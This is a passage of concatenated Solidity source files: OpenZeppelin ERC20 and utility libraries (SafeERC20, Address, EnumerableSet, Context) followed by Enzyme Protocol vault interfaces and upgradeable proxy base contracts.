* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundValueCalculator interface
/// @author Enzyme Council <[email protected]>
interface IFundValueCalculator {
function calcGav(address _vaultProxy)
external
returns (address denominationAsset_, uint256 gav_);
function calcGavInAsset(address _vaultProxy, address _quoteAsset)
external
returns (uint256 gav_);
function calcGrossShareValue(address _vaultProxy)
external
returns (address denominationAsset_, uint256 grossShareValue_);
function calcGrossShareValueInAsset(address _vaultProxy, address _quoteAsset)
external
returns (uint256 grossShareValue_);
function calcNav(address _vaultProxy)
external
returns (address denominationAsset_, uint256 nav_);
function calcNavInAsset(address _vaultProxy, address _quoteAsset)
external
returns (uint256 nav_);
function calcNetShareValue(address _vaultProxy)
external
returns (address denominationAsset_, uint256 netShareValue_);
function calcNetShareValueInAsset(address _vaultProxy, address _quoteAsset)
external
returns (uint256 netShareValue_);
function calcNetValueForSharesHolder(address _vaultProxy, address _sharesHolder)
external
returns (address denominationAsset_, uint256 netValue_);
function calcNetValueForSharesHolderInAsset(
address _vaultProxy,
address _sharesHolder,
address _quoteAsset
) external returns (uint256 netValue_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigratableVault Interface
/// @author Enzyme Council <[email protected]>
/// @dev DO NOT EDIT CONTRACT
interface IMigratableVault {
function canMigrate(address _who) external view returns (bool canMigrate_);
function init(
address _owner,
address _accessor,
string calldata _fundName
) external;
function setAccessor(address _nextAccessor) external;
function setVaultLib(address _nextVaultLib) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./VaultLibBaseCore.sol";
/// @title VaultLibBase1 Contract
/// @author Enzyme Council <[email protected]>
/// @notice The first implementation of VaultLibBaseCore, with additional events and storage
/// @dev All subsequent implementations should inherit the previous implementation,
/// e.g., `VaultLibBase2 is VaultLibBase1`
/// DO NOT EDIT CONTRACT.
abstract contract VaultLibBase1 is VaultLibBaseCore {
event AssetWithdrawn(address indexed asset, address indexed target, uint256 amount);
event TrackedAssetAdded(address asset);
event TrackedAssetRemoved(address asset);
address[] internal trackedAssets;
mapping(address => bool) internal assetToIsTracked;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/IMigratableVault.sol";
import "./utils/ProxiableVaultLib.sol";
import "./utils/SharesTokenBase.sol";
/// @title VaultLibBaseCore Contract
/// @author Enzyme Council <[email protected]>
/// @notice A persistent contract containing all required storage variables and
/// required functions for a VaultLib implementation
/// @dev DO NOT EDIT CONTRACT. If new events or storage are necessary, they should be added to
/// a numbered VaultLibBaseXXX that inherits the previous base. See VaultLibBase1.
abstract contract VaultLibBaseCore is IMigratableVault, ProxiableVaultLib, SharesTokenBase {
event AccessorSet(address prevAccessor, address nextAccessor);
event MigratorSet(address prevMigrator, address nextMigrator);
event OwnerSet(address prevOwner, address nextOwner);
event VaultLibSet(address prevVaultLib, address nextVaultLib);
address internal accessor;
address internal creator;
address internal migrator;
address internal owner;
// EXTERNAL FUNCTIONS
/// @notice Initializes the VaultProxy with core configuration
/// @param _owner The address to set as the fund owner
/// @param _accessor The address to set as the permissioned accessor of the VaultLib
/// @param _fundName The name of the fund
/// @dev Serves as a per-proxy pseudo-constructor
function init(
address _owner,
address _accessor,
string calldata _fundName
) external override {
require(creator == address(0), "init: Proxy already initialized");
creator = msg.sender;
sharesName = _fundName;
__setAccessor(_accessor);
__setOwner(_owner);
emit VaultLibSet(address(0), getVaultLib());
}
/// @notice Sets the permissioned accessor of the VaultLib
/// @param _nextAccessor The address to set as the permissioned accessor of the VaultLib
function setAccessor(address _nextAccessor) external override {
require(msg.sender == creator, "setAccessor: Only callable by the contract creator");
__setAccessor(_nextAccessor);
}
/// @notice Sets the VaultLib target for the VaultProxy
/// @param _nextVaultLib The address to set as the VaultLib
/// @dev This function is absolutely critical. __updateCodeAddress() validates that the
/// target is a valid Proxiable contract instance.
/// Does not block _nextVaultLib from being the same as the current VaultLib
function setVaultLib(address _nextVaultLib) external override {
require(msg.sender == creator, "setVaultLib: Only callable by the contract creator");
address prevVaultLib = getVaultLib();
__updateCodeAddress(_nextVaultLib);
emit VaultLibSet(prevVaultLib, _nextVaultLib);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether an account is allowed to migrate the VaultProxy
/// @param _who The account to check
/// @return canMigrate_ True if the account is allowed to migrate the VaultProxy
function canMigrate(address _who) public view virtual override returns (bool canMigrate_) {
return _who == owner || _who == migrator;
}
/// @notice Gets the VaultLib target for the VaultProxy
/// @return vaultLib_ The address of the VaultLib target
function getVaultLib() public view returns (address vaultLib_) {
assembly {
// solium-disable-line
vaultLib_ := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
return vaultLib_;
}
// INTERNAL FUNCTIONS
/// @dev Helper to set the permissioned accessor of the VaultProxy.
/// Does not prevent the prevAccessor from being the _nextAccessor.
function __setAccessor(address _nextAccessor) internal {
require(_nextAccessor != address(0), "__setAccessor: _nextAccessor cannot be empty");
address prevAccessor = accessor;
accessor = _nextAccessor;
emit AccessorSet(prevAccessor, _nextAccessor);
}
/// @dev Helper to set the owner of the VaultProxy
function __setOwner(address _nextOwner) internal {
require(_nextOwner != address(0), "__setOwner: _nextOwner cannot be empty");
address prevOwner = owner;
require(_nextOwner != prevOwner, "__setOwner: _nextOwner is the current owner");
owner = _nextOwner;
emit OwnerSet(prevOwner, _nextOwner);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ProxiableVaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that defines the upgrade behavior for VaultLib instances
/// @dev The recommended implementation of the target of a proxy according to EIP-1822 and EIP-1967
/// Code position in storage is `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`,
/// which is "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc".
abstract contract ProxiableVaultLib {
/// @dev Updates the target of the proxy to be the contract at _nextVaultLib
function __updateCodeAddress(address _nextVaultLib) internal {
require(
bytes32(0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5) ==
ProxiableVaultLib(_nextVaultLib).proxiableUUID(),
"__updateCodeAddress: _nextVaultLib not compatible"
);
assembly {
// solium-disable-line
sstore(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc,
_nextVaultLib
)
}
}
/// @notice Returns a unique bytes32 hash for VaultLib instances
/// @return uuid_ The bytes32 hash representing the UUID
/// @dev The UUID is `bytes32(keccak256('mln.proxiable.vaultlib'))`
function proxiableUUID() public pure returns (bytes32 uuid_) {
return 0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./VaultLibSafeMath.sol";
/// @title StandardERC20 Contract
/// @author Enzyme Council <[email protected]>
